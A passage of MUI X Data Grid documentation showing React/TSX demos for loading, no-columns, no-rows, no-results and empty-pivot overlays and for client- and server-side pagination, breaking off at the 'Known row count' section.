            noRowsVariant: 'linear-progress',
          },
        }}
      />
    </Box>
  );
}

```

### Circular progress

A circular loading spinner.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function LoadingOverlayCircularProgress() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 6,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGrid
        {...data}
        loading
        slotProps={{
          loadingOverlay: {
            variant: 'circular-progress',
            noRowsVariant: 'circular-progress',
          },
        }}
      />
    </Box>
  );
}

```

### Custom component

If you want to customize the no-rows overlay, a component can be passed to the `loadingOverlay` slot.

In the following demo, a labeled determinate [CircularProgress](/material-ui/react-progress/#circular-determinate) component is rendered in place of the default loading overlay, with some additional _Loading rows…_ text.

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { styled } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import CircularProgress, {
  CircularProgressProps,
} from '@mui/material/CircularProgress';

const StyledGridOverlay = styled('div')(({ theme }) => ({
  display: 'flex',
  flexDirection: 'column',
  alignItems: 'center',
  justifyContent: 'center',
  height: '100%',
  backgroundColor: 'rgba(18, 18, 18, 0.9)',
  ...theme.applyStyles('light', {
    backgroundColor: 'rgba(255, 255, 255, 0.9)',
  }),
}));

function CircularProgressWithLabel(
  props: CircularProgressProps & { value: number },
) {
  return (
    <Box sx={{ position: 'relative', display: 'inline-flex' }}>
      <CircularProgress variant="determinate" {...props} />
      <Box
        sx={{
          position: 'absolute',
          inset: 0,
          display: 'flex',
          alignItems: 'center',
          justifyContent: 'center',
        }}
      >
        <Typography
          variant="caption"
          component="div"
          color="text.primary"
        >{`${Math.round(props.value)}%`}</Typography>
      </Box>
    </Box>
  );
}

function CustomLoadingOverlay() {
  const [progress, setProgress] = React.useState(10);

  React.useEffect(() => {
    const timer = setInterval(() => {
      setProgress((prevProgress) => (prevProgress >= 100 ? 0 : prevProgress + 10));
    }, 800);
    return () => {
      clearInterval(timer);
    };
  }, []);

  return (
    <StyledGridOverlay>
      <CircularProgressWithLabel value={progress} />
      <Box sx={{ mt: 2 }}>Loading rows…</Box>
    </StyledGridOverlay>
  );
}

export default function LoadingOverlayCustom() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        slots={{
          loadingOverlay: CustomLoadingOverlay,
        }}
        loading
        {...data}
      />
    </div>
  );
}

```

## No columns overlay

The no-columns overlay is displayed when the Data Grid has no columns, or when all columns are hidden.

The "Manage columns" button is displayed when all columns are hidden and `disableColumnSelector` is `false`.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function NoColumnsOverlay() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 50,
    maxColumns: 6,
  });

  const initialColumns = React.useMemo(
    () =>
      data.columns.reduce(
        (acc, col) => {
          acc[col.field] = false;
          return acc;
        },
        {} as Record<string, boolean>,
      ),
    [data.columns],
  );

  return (
    <Box sx={{ width: '100%', height: 340 }}>
      <DataGrid
        {...data}
        initialState={{
          columns: {
            columnVisibilityModel: initialColumns,
          },
        }}
      />
    </Box>
  );
}

```

### Custom component

If you want to customize the no-columns overlay, a component can be passed to the `noColumnsOverlay` slot and rendered in place.

In the following demo, an illustration is added on top of the default "No columns" message.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import {
  DataGrid,
  GridPreferencePanelsValue,
  useGridApiContext,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { styled } from '@mui/material/styles';

const StyledGridOverlay = styled('div')(({ theme }) => ({
  display: 'flex',
  flexDirection: 'column',
  alignItems: 'center',
  justifyContent: 'center',
  textAlign: 'center',
  height: '100%',
  '& .no-columns-primary': {
    fill: '#3D4751',
    ...theme.applyStyles('light', {
      fill: '#AEB8C2',
    }),
  },
  '& .no-columns-secondary': {
    fill: '#1D2126',
    ...theme.applyStyles('light', {
      fill: '#E8EAED',
    }),
  },
}));

function CustomNoColumnsOverlay() {
  const apiRef = useGridApiContext();

  const handleOpenManageColumns = () => {
    apiRef.current.showPreferences(GridPreferencePanelsValue.columns);
  };

  return (
    <StyledGridOverlay>
      <svg
        xmlns="http://www.w3.org/2000/svg"
        fill="none"
        width={96}
        viewBox="0 0 370 260"
        aria-hidden
        focusable="false"
      >
        <path
          className="no-columns-secondary"
          d="M10 0c5.523 0 10 4.477 10 10v240c0 5.523-4.477 10-10 10s-10-4.477-10-10V10C0 4.477 4.477 0 10 0Zm50 0c5.523 0 10 4.477 10 10v240c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v46c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v19c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v19c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v46c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v240c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v240c0 5.523-4.477 10-10 10s-10-4.477-10-10V10c0-5.523 4.477-10 10-10ZM110 194c5.523 0 10 4.477 10 10v46c0 5.523-4.477 10-10 10s-10-4.477-10-10v-46c0-5.523 4.477-10 10-10Zm150 0c5.523 0 10 4.477 10 10v46c0 5.523-4.477 10-10 10s-10-4.477-10-10v-46c0-5.523 4.477-10 10-10Zm-100 27c5.523 0 10 4.477 10 10v19c0 5.523-4.477 10-10 10s-10-4.477-10-10v-19c0-5.523 4.477-10 10-10Zm50 0c5.523 0 10 4.477 10 10v19c0 5.523-4.477 10-10 10s-10-4.477-10-10v-19c0-5.523 4.477-10 10-10Z"
        />
        <path
          className="no-columns-primary"
          d="M185 71c-32.585 0-59 26.415-59 59s26.415 59 59 59 59-26.415 59-59-26.415-59-59-59Zm-79 59c0-43.63 35.37-79 79-79s79 35.37 79 79c0 43.631-35.37 79-79 79s-79-35.369-79-79Zm109.296-30.56c3.905 3.905 3.905 10.236 0 14.142l-16.286 16.286 16.286 16.286c3.905 3.905 3.905 10.237 0 14.142-3.905 3.905-10.237 3.905-14.142 0l-16.286-16.286-16.286 16.286c-3.905 3.905-10.237 3.905-14.142 0-3.906-3.905-3.906-10.237 0-14.142l16.286-16.286-16.286-16.286c-3.906-3.905-3.906-10.237 0-14.142 3.905-3.906 10.237-3.906 14.142 0l16.286 16.286 16.286-16.286c3.905-3.906 10.237-3.906 14.142 0Z"
        />
      </svg>
      <Stack sx={{ mt: 2 }} gap={1}>
        No columns
        <Button onClick={handleOpenManageColumns} size="small">
          Manage columns
        </Button>
      </Stack>
    </StyledGridOverlay>
  );
}

export default function NoColumnsOverlayCustom() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 50,
    maxColumns: 6,
  });

  const initialColumns = React.useMemo(
    () =>
      data.columns.reduce(
        (acc, col) => {
          acc[col.field] = false;
          return acc;
        },
        {} as Record<string, boolean>,
      ),
    [data.columns],
  );

  return (
    <Box sx={{ width: '100%', height: 340 }}>
      <DataGrid
        {...data}
        initialState={{
          columns: {
            columnVisibilityModel: initialColumns,
          },
        }}
        slots={{
          noColumnsOverlay: CustomNoColumnsOverlay,
        }}
      />
    </Box>
  );
}

```

## No rows overlay

The no-rows overlay is displayed when the Data Grid has no rows.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function NoRowsOverlay() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 0,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%', height: 340 }}>
      <DataGrid {...data} rows={[]} />
    </Box>
  );
}

```

### Custom component

If you want to customize the no-rows overlay, a component can be passed to the `noRowsOverlay` slot and rendered in place.

In the following demo, an illustration is added on top of the default "No rows" message.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { styled } from '@mui/material/styles';

const StyledGridOverlay = styled('div')(({ theme }) => ({
  display: 'flex',
  flexDirection: 'column',
  alignItems: 'center',
  justifyContent: 'center',
  height: '100%',
  '& .no-rows-primary': {
    fill: '#3D4751',
    ...theme.applyStyles('light', {
      fill: '#AEB8C2',
    }),
  },
  '& .no-rows-secondary': {
    fill: '#1D2126',
    ...theme.applyStyles('light', {
      fill: '#E8EAED',
    }),
  },
}));

function CustomNoRowsOverlay() {
  return (
    <StyledGridOverlay>
      <svg
        xmlns="http://www.w3.org/2000/svg"
        fill="none"
        width={96}
        viewBox="0 0 452 257"
        aria-hidden
        focusable="false"
      >
        <path
          className="no-rows-primary"
          d="M348 69c-46.392 0-84 37.608-84 84s37.608 84 84 84 84-37.608 84-84-37.608-84-84-84Zm-104 84c0-57.438 46.562-104 104-104s104 46.562 104 104-46.562 104-104 104-104-46.562-104-104Z"
        />
        <path
          className="no-rows-primary"
          d="M308.929 113.929c3.905-3.905 10.237-3.905 14.142 0l63.64 63.64c3.905 3.905 3.905 10.236 0 14.142-3.906 3.905-10.237 3.905-14.142 0l-63.64-63.64c-3.905-3.905-3.905-10.237 0-14.142Z"
        />
        <path
          className="no-rows-primary"
          d="M308.929 191.711c-3.905-3.906-3.905-10.237 0-14.142l63.64-63.64c3.905-3.905 10.236-3.905 14.142 0 3.905 3.905 3.905 10.237 0 14.142l-63.64 63.64c-3.905 3.905-10.237 3.905-14.142 0Z"
        />
        <path
          className="no-rows-secondary"
          d="M0 10C0 4.477 4.477 0 10 0h380c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 20 0 15.523 0 10ZM0 59c0-5.523 4.477-10 10-10h231c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 69 0 64.523 0 59ZM0 106c0-5.523 4.477-10 10-10h203c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 153c0-5.523 4.477-10 10-10h195.5c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 200c0-5.523 4.477-10 10-10h203c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 247c0-5.523 4.477-10 10-10h231c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10Z"
        />
      </svg>
      <Box sx={{ mt: 2 }}>No rows</Box>
    </StyledGridOverlay>
  );
}

export default function NoRowsOverlayCustom() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        slots={{
          noRowsOverlay: CustomNoRowsOverlay,
        }}
        {...data}
        rows={[]}
      />
    </div>
  );
}

```

## No results overlay

The no-results overlay is displayed when the Data Grid has no results after filtering.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function NoResultsOverlay() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 6,
    maxColumns: 6,
  });

  return (
    <Box sx={{ width: '100%', height: 340 }}>
      <DataGrid
        {...data}
        initialState={{
          ...data.initialState,
          filter: {
            filterModel: {
              items: [],
              quickFilterValues: ['abc'],
            },
          },
        }}
        showToolbar
      />
    </Box>
  );
}

```

### Custom component

If you want to customize the no results overlay, a component can be passed to the `noResults` slot and rendered in place.

In the following demo, an illustration is added on top of the default "No results found" message.

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import { styled } from '@mui/material/styles';

const StyledGridOverlay = styled('div')(({ theme }) => ({
  display: 'flex',
  flexDirection: 'column',
  alignItems: 'center',
  justifyContent: 'center',
  height: '100%',
  '& .no-results-primary': {
    fill: '#3D4751',
    ...theme.applyStyles('light', {
      fill: '#AEB8C2',
    }),
  },
  '& .no-results-secondary': {
    fill: '#1D2126',
    ...theme.applyStyles('light', {
      fill: '#E8EAED',
    }),
  },
}));

function CustomNoResultsOverlay() {
  return (
    <StyledGridOverlay>
      <svg
        xmlns="http://www.w3.org/2000/svg"
        fill="none"
        width={96}
        viewBox="0 0 523 299"
        aria-hidden
        focusable="false"
      >
        <path
          className="no-results-primary"
          d="M262 20c-63.513 0-115 51.487-115 115s51.487 115 115 115 115-51.487 115-115S325.513 20 262 20ZM127 135C127 60.442 187.442 0 262 0c74.558 0 135 60.442 135 135 0 74.558-60.442 135-135 135-74.558 0-135-60.442-135-135Z"
        />
        <path
          className="no-results-primary"
          d="M348.929 224.929c3.905-3.905 10.237-3.905 14.142 0l56.569 56.568c3.905 3.906 3.905 10.237 0 14.143-3.906 3.905-10.237 3.905-14.143 0l-56.568-56.569c-3.905-3.905-3.905-10.237 0-14.142ZM212.929 85.929c3.905-3.905 10.237-3.905 14.142 0l84.853 84.853c3.905 3.905 3.905 10.237 0 14.142-3.905 3.905-10.237 3.905-14.142 0l-84.853-84.853c-3.905-3.905-3.905-10.237 0-14.142Z"
        />
        <path
          className="no-results-primary"
          d="M212.929 185.071c-3.905-3.905-3.905-10.237 0-14.142l84.853-84.853c3.905-3.905 10.237-3.905 14.142 0 3.905 3.905 3.905 10.237 0 14.142l-84.853 84.853c-3.905 3.905-10.237 3.905-14.142 0Z"
        />
        <path
          className="no-results-secondary"
          d="M0 43c0-5.523 4.477-10 10-10h100c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 53 0 48.523 0 43ZM0 89c0-5.523 4.477-10 10-10h80c5.523 0 10 4.477 10 10s-4.477 10-10 10H10C4.477 99 0 94.523 0 89ZM0 135c0-5.523 4.477-10 10-10h74c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 181c0-5.523 4.477-10 10-10h80c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM0 227c0-5.523 4.477-10 10-10h100c5.523 0 10 4.477 10 10s-4.477 10-10 10H10c-5.523 0-10-4.477-10-10ZM523 227c0 5.523-4.477 10-10 10H413c-5.523 0-10-4.477-10-10s4.477-10 10-10h100c5.523 0 10 4.477 10 10ZM523 181c0 5.523-4.477 10-10 10h-80c-5.523 0-10-4.477-10-10s4.477-10 10-10h80c5.523 0 10 4.477 10 10ZM523 135c0 5.523-4.477 10-10 10h-74c-5.523 0-10-4.477-10-10s4.477-10 10-10h74c5.523 0 10 4.477 10 10ZM523 89c0 5.523-4.477 10-10 10h-80c-5.523 0-10-4.477-10-10s4.477-10 10-10h80c5.523 0 10 4.477 10 10ZM523 43c0 5.523-4.477 10-10 10H413c-5.523 0-10-4.477-10-10s4.477-10 10-10h100c5.523 0 10 4.477 10 10Z"
        />
      </svg>
      <Box sx={{ mt: 2 }}>No results found.</Box>
    </StyledGridOverlay>
  );
}

export default function NoResultsOverlayCustom() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 6,
    maxColumns: 6,
  });
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        showToolbar
        slots={{
          noResultsOverlay: CustomNoResultsOverlay,
        }}
        initialState={{
          ...data.initialState,
          filter: {
            filterModel: {
              items: [],
              quickFilterValues: ['abc'],
            },
          },
        }}
      />
    </div>
  );
}

```

## Empty pivot overlay

The empty pivot overlay is displayed when pivot mode is enabled but fields have been added to the rows section.

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  GridInitialState,
} from '@mui/x-data-grid-premium';

const rows: GridRowModel[] = [
  { id: 1, product: 'Apples', region: 'North', quarter: 'Q1', sales: 1000 },
  { id: 2, product: 'Apples', region: 'South', quarter: 'Q1', sales: 1200 },
  { id: 3, product: 'Oranges', region: 'North', quarter: 'Q1', sales: 800 },
  { id: 4, product: 'Oranges', region: 'South', quarter: 'Q1', sales: 900 },
  { id: 5, product: 'Apples', region: 'North', quarter: 'Q2', sales: 1100 },
  { id: 6, product: 'Apples', region: 'South', quarter: 'Q2', sales: 1300 },
  { id: 7, product: 'Oranges', region: 'North', quarter: 'Q2', sales: 850 },
  { id: 8, product: 'Oranges', region: 'South', quarter: 'Q2', sales: 950 },
];

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const columns: GridColDef[] = [
  { field: 'product', headerName: 'Product' },
  { field: 'region', headerName: 'Region' },
  { field: 'quarter', headerName: 'Quarter' },
  {
    field: 'sales',
    headerName: 'Sales',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return currencyFormatter.format(value);
    },
  },
];

const pivotModel: GridPivotModel = {
  rows: [],
  columns: [],
  values: [],
};

const initialState: GridInitialState = {
  pivoting: {
    model: pivotModel,
    enabled: true,
  },
};

export default function EmptyPivotOverlay() {
  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        initialState={initialState}
        columnGroupHeaderHeight={36}
        showToolbar
      />
    </div>
  );
}

```

### Custom component

To customize the empty pivot overlay, pass a custom component to the `emptyPivotOverlay` slot.

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/pagination.md

# Data Grid - Pagination

Easily paginate your rows and only fetch what you need.

## Enabling pagination

The default pagination behavior depends on your plan:

:::info
Exported CSV and Excel files include all data and disregard pagination by default.
To apply pagination to exported files, review the available [row selectors](/x/react-data-grid/export/#exported-rows).
:::

### Community plan

For the Community Data Grid, pagination is enabled by default and cannot be disabled.

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function PaginationCommunityNoSnap() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 500,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid {...data} loading={loading} />
    </div>
  );
}

```

### Pro [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and Premium [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

For the Pro and Premium Data Grid, pagination is disabled by default; use the `pagination` prop to enable it.

```tsx
import { DataGridPremium, GridColDef, GridRowsProp } from '@mui/x-data-grid-premium';

const rows: GridRowsProp = [
  {
    jobTitle: 'Head of Human Resources',
    recruitmentDate: new Date(2020, 8, 12),
    contract: 'full time',
    id: 0,
  },
  {
    jobTitle: 'Head of Sales',
    recruitmentDate: new Date(2017, 3, 4),
    contract: 'full time',
    id: 1,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 11, 20),
    contract: 'full time',
    id: 2,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 10, 14),
    contract: 'part time',
    id: 3,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2017, 10, 29),
    contract: 'part time',
    id: 4,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 21),
    contract: 'full time',
    id: 5,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2020, 7, 20),
    contract: 'intern',
    id: 6,
  },
  {
    jobTitle: 'Sales Person',
    recruitmentDate: new Date(2019, 6, 28),
    contract: 'full time',
    id: 7,
  },
  {
    jobTitle: 'Head of Engineering',
    recruitmentDate: new Date(2016, 3, 14),
    contract: 'full time',
    id: 8,
  },
  {
    jobTitle: 'Tech lead front',
    recruitmentDate: new Date(2016, 5, 17),
    contract: 'full time',
    id: 9,
  },
  {
    jobTitle: 'Front-end developer',
    recruitmentDate: new Date(2019, 11, 7),
    contract: 'full time',
    id: 10,
  },
  {
    jobTitle: 'Tech lead devops',
    recruitmentDate: new Date(2021, 7, 1),
    contract: 'full time',
    id: 11,
  },
  {
    jobTitle: 'Tech lead back',
    recruitmentDate: new Date(2017, 0, 12),
    contract: 'full time',
    id: 12,
  },
  {
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2019, 2, 22),
    contract: 'intern',
    id: 13,
  },
  {
    jobTitle: 'Back-end developer',
    recruitmentDate: new Date(2018, 4, 19),
    contract: 'part time',
    id: 14,
  },
];

const columns: GridColDef[] = [
  { field: 'jobTitle', headerName: 'Job Title', width: 200 },
  {
    field: 'recruitmentDate',
    headerName: 'Recruitment Date',
    type: 'date',
    width: 150,
  },
  {
    field: 'contract',
    headerName: 'Contract Type',
    type: 'singleSelect',
    valueOptions: ['full time', 'part time', 'intern'],
    width: 150,
  },
];

export default function PageSizeAutoPremium() {
  return (
    <div style={{ height: 320, width: '100%' }}>
      <DataGridPremium pagination rows={rows} columns={columns} autoPageSize />
    </div>
  );
}

```

## Size of the page

The Data Grid (MIT license) is limited to pages of up to 100 rows.
If you want larger pages, you will need to upgrade to [Pro plan](/x/introduction/licensing/#pro-plan) or above.

By default, each page contains 100 rows. The user can change the size of the page through the selector in the footer.

### Page size options

You can customize the options shown in the "Rows per page" select using the `pageSizeOptions` prop.
You should provide an array of items, each item should be one of these types:

- **number**, each number will be used for the option's label and value.

  ```jsx
  <DataGrid pageSizeOptions={[5, 10, 25]}>
  ```

- **object**, the `value` and `label` keys will be used respectively for the value and label of the option. Define `value` as `-1` to display all results.

  ```jsx
  <DataGrid pageSizeOptions={[10, 100, { value: 1000, label: '1,000' }, { value: -1, label: 'All' }]}>
  ```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function PageSizeCustomOptions() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          pagination: { paginationModel: { pageSize: 5 } },
        }}
        pageSizeOptions={[5, 10, 25, { value: -1, label: 'All' }]}
      />
    </div>
  );
}

```

### Automatic page size

Use the `autoPageSize` prop to auto-scale the `pageSize` to match the container height and the max number of rows that can be displayed without a vertical scroll bar.

:::warning
You cannot use both the `autoPageSize` and `autoHeight` props at the same time because `autoHeight` scales the height of the Data Grid according to the `pageSize`.
:::

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Stack from '@mui/material/Stack';
import MenuItem from '@mui/material/MenuItem';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import Select from '@mui/material/Select';

export default function PageSizeAuto() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  const [height, setHeight] = React.useState(400);

  return (
    <Stack style={{ width: '100%' }} alignItems="flex-start" spacing={2}>
      <FormControl fullWidth>
        <InputLabel htmlFor="height-of-container" id="height-of-container-label">
          Height of the container
        </InputLabel>
        <Select
          label="Main Grouping Criteria"
          onChange={(event) => setHeight(Number(event.target.value))}
          value={height}
          id="height-of-container"
          labelId="height-of-container-label"
        >
          <MenuItem value="300">300px</MenuItem>
          <MenuItem value="400">400px</MenuItem>
          <MenuItem value="500">500px</MenuItem>
        </Select>
      </FormControl>
      <div style={{ height, width: '100%' }}>
        <DataGrid autoPageSize {...data} loading={loading} />
      </div>
    </Stack>
  );
}

```

## Pagination model

The pagination model is an object containing the current page and the size of the page. The default value is `{ page: 0, pageSize: 100 }`. To change the default value, make it controlled by `paginationModel` prop or initialize a custom value using `initialState.pagination.paginationModel`.

### Initializing the pagination model

To initialize the pagination model without controlling it, provide the `paginationModel` to the `initialState` prop. If you don't provide a value for one of the properties, the default value will be used.

```tsx
<DataGrid
  initialState={{
    pagination: {
      paginationModel: { pageSize: 25, page: 0 },
    },
  }}
/>
```

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function PaginationModelInitialState() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 500,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          pagination: {
            ...data.initialState?.pagination,
            paginationModel: {
              pageSize: 25,
              /* page: 0 // default value will be used if not passed */
            },
          },
        }}
      />
    </div>
  );
}

```

### Controlled pagination model

Pass the `paginationModel` prop to control the size and current page of the grid. You can use the `onPaginationModelChange` prop to listen to changes to the `paginationModel` and update the prop accordingly.

```tsx
const [paginationModel, setPaginationModel] = React.useState({
  pageSize: 25,
  page: 0,
});

<DataGrid
  paginationModel={paginationModel}
  onPaginationModelChange={setPaginationModel}
/>;
```

```tsx
import * as React from 'react';
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function PaginationModelControlled() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 500,
    maxColumns: 6,
  });
  const [paginationModel, setPaginationModel] = React.useState({
    pageSize: 25,
    page: 0,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        paginationModel={paginationModel}
        onPaginationModelChange={setPaginationModel}
        {...data}
        loading={loading}
      />
    </div>
  );
}

```

## Server-side pagination

By default, the pagination is handled on the client.
This means you have to give the rows of all pages to the Data Grid.
If your dataset is too big, and you want to fetch the pages on demand, you can use server-side pagination.

:::warning
If you enable server-side pagination with no other server-side features, then the Data Grid will only be provided with partial data for filtering and sorting.
To be able to work with the entire dataset, you must also implement [server-side filtering](/x/react-data-grid/filtering/server-side/) and [server-side sorting](/x/react-data-grid/sorting/#server-side-sorting).
The demo below does exactly that.
:::

```tsx
import * as React from 'react';
import { DataGrid, GridSortModel, GridFilterModel } from '@mui/x-data-grid';
import { createFakeServer } from '@mui/x-data-grid-generator';

const SERVER_OPTIONS = {
  useCursorPagination: false,
};

const { useQuery, ...data } = createFakeServer({}, SERVER_OPTIONS);

export default function ServerPaginationFilterSortGrid() {
  const [paginationModel, setPaginationModel] = React.useState({
    page: 0,
    pageSize: 5,
  });
  const [sortModel, setSortModel] = React.useState<GridSortModel>([]);
  const [filterModel, setFilterModel] = React.useState<GridFilterModel>({
    items: [],
  });
  const queryOptions = React.useMemo(
    () => ({ ...paginationModel, sortModel, filterModel }),
    [paginationModel, sortModel, filterModel],
  );
  const { isLoading, rows, pageInfo } = useQuery(queryOptions);

  // Some API clients return undefined while loading
  // Following lines are here to prevent `rowCount` from being undefined during the loading
  const rowCountRef = React.useRef(pageInfo?.totalRowCount || 0);

  const rowCount = React.useMemo(() => {
    if (pageInfo?.totalRowCount !== undefined) {
      rowCountRef.current = pageInfo.totalRowCount;
    }
    return rowCountRef.current;
  }, [pageInfo?.totalRowCount]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        {...data}
        rowCount={rowCount}
        loading={isLoading}
        pageSizeOptions={[5]}
        paginationModel={paginationModel}
        sortModel={sortModel}
        filterModel={filterModel}
        paginationMode="server"
        sortingMode="server"
        filterMode="server"
        onPaginationModelChange={setPaginationModel}
        onSortModelChange={setSortModel}
        onFilterModelChange={setFilterModel}
      />
    </div>
  );
}

```

In general, the server-side pagination could be categorized into two types:

- Index-based pagination
- Cursor-based pagination

:::info
Check out [Selection—Usage with server-side pagination](/x/react-data-grid/row-selection/#usage-with-server-side-pagination) for more details.
:::

### Index-based pagination

The index-based pagination uses the `page` and `pageSize` to fetch the data from the server page by page.

To enable server-side pagination, you need to:

- Set the `paginationMode` prop to `server`
- Use the `onPaginationModelChange` prop to react to the page changes and load the data from the server

The server-side pagination can be further categorized into sub-types based on the availability of the total number of rows or `rowCount`.

The Data Grid uses the `rowCount` to calculate the number of pages and to show the information about the current state of the pagination in the footer.
You can provide the `rowCount` in one of the following ways:

- **Initialize.**
  Use the `initialState.pagination.rowCount` prop to initialize the `rowCount`.
- **Control.**
  Use the `rowCount` prop along with `onRowCountChange` to control the `rowCount` and reflect the changes when the row count is updated.
- **Set using the API.**
  Use the `apiRef.current.setRowCount` method to set the `rowCount` after the Grid is initialized.

There can be three different possibilities regarding the availability of the `rowCount` on the server-side:

1. Row count is available (known)
2. Row count is not available (unknown)
3. Row count is available but is not accurate and may update later on (estimated)

:::warning
The `rowCount` prop is used in server-side pagination mode to inform the DataGrid about the total number of rows in your dataset.
This prop is ignored when the `paginationMode` is set to `client`, that is when the pagination is handled on the client-side.
:::

You can configure `rowCount`, `paginationMeta.hasNextPage`, and `estimatedRowCount` props to handle the above scenarios.

|                     | `rowCount` | `paginationMeta.hasNextPage` | `estimatedRowCount` |
| :------------------ | :--------- | :--------------------------- | :------------------ |
| Known row count     | `number`   | —                            | —                   |
| Unknown row count   | `-1`       | `boolean`                    | —                   |
| Estimated row count | `-1`       | `boolean`                    | `number`            |

#### Known row count

Pass the props to the Data Grid as explained in the table above to handle the case when the actual row count is known, as the following example demonstrates.

```tsx
import * as React from 'react';
